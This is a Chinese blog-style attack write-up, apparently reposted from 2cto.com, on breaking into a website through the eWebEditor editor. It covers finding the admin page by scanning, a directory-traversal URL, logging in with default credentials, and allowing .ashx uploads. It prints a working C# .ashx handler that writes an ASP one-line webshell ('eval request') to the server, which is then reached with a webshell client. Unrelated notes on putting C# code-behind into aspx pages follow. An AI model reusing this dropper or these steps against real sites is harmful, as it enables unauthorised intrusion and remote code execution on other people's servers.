http://www.2cto.com/Article/201302/188962.html
前言:有人已经写过了,突破上传过滤,今天我也碰到了。就当记录一下吧,
正文:有个朋友要我给他检测一个站点,很久都没操作,用来练练手把。
用自动扫描脚本扫描出敏感目录
inc/ewebeditor/admin_login.asp
既然有ewebeditor编辑器那就尝试下编辑器
漏洞把。
/inc/ewebeditor/admin/upload.
asp?id=6&d_viewmode=list&dir=../
直接遍历来了。
使用默认密码登录ewebeditor后台,新添加样式,本想很容易解决。
上传免杀小马
加密一句话也是一样的结果。
那我们怎么解决之个问题呢-
首先在编辑器样式的上传文件添加ashx后缀
在上传我们的Ashx马。
<%@ WebHandler Language="C#" Class="Handler" %> using System; using System.Web; using System.IO; public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("a.asp"));
file1.Write("<%eval request(\"a\")%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}
}
接下来访问http://www.xxx.com/UploadFile/eWebEditor/201329112155838.ashx
会在eWebEditor生成一个m.asp文件(一句话木马)
用菜刀访问http://www.2cto.com /UploadFile/eWebEditor/m.asp
就突破了
我们新建的ashx一般都带.cs文件,这里把cs文件的后台代码写在了ashx文件里面然后把cs文件删了,然后把ashx文件头部的CodeBehind="Handler.cs"这句去掉. (vs中选中ashx文件右键打开方式:xml编辑器打开)
http://cache.baiducontent.com/c?m=9f65cb4a8c8507ed4fece763104687270e54f7327d818c027fa3cf1fd5791d1c053db2fa3a211306d0cf786600ad5d19b7b0607d207326a0efbb9f3bddace55838895723061e913114c418dfdc3023d656e34de8df4aa6f8ba2592dec5a2dd4324be&p=8d33c64ad49e57ff57e9c02945&newp=8b2a971bcc9e15e808e290625553d8274e39806238d68e0f2280d4&user=baidu&fm=sc&query=%B4%FA%C2%EB%D0%B4%D4%DAaspx%C0%EF&qid=b3ba798900012663&p1=10
在aspx也写cs后台代码:
在HTML页面写C#代码其实和与在后台一样,只要把设计器生成的代码也加入进去就行。(继承:<script language="C#" runat="server"></script>这样的代码如何继承吧? 页面顶部 <%@ page language="c#" inherits="命名空间, 类名" %>)
http://www.cnblogs.com/cuihongyu3503319/archive/2012/06/23/2559552.html
<script language=
"c#"
runat=
"server"
>
#region Page_Load
private
void
Page_Load(
object
sender, System.EventArgs e)
{
if
(!Page.IsPostBack)
{
}
}
#endregion
#region Web Form Designer generated code
override
protected
void
OnInit(EventArgs e)
{
//
// CODEGEN:该调用是 ASP.NET Web 窗体设计器所必需的。
//
InitializeComponent();
base
.OnInit(e);
}
/// <summary>
/// 设计器支持所需的方法 - 不要使用代码编辑器修改
/// 此方法的内容。
/// </summary>
private
void
InitializeComponent()
{
this
.Load +=
new
System.EventHandler(
this
.Page_Load);
}
#endregion
|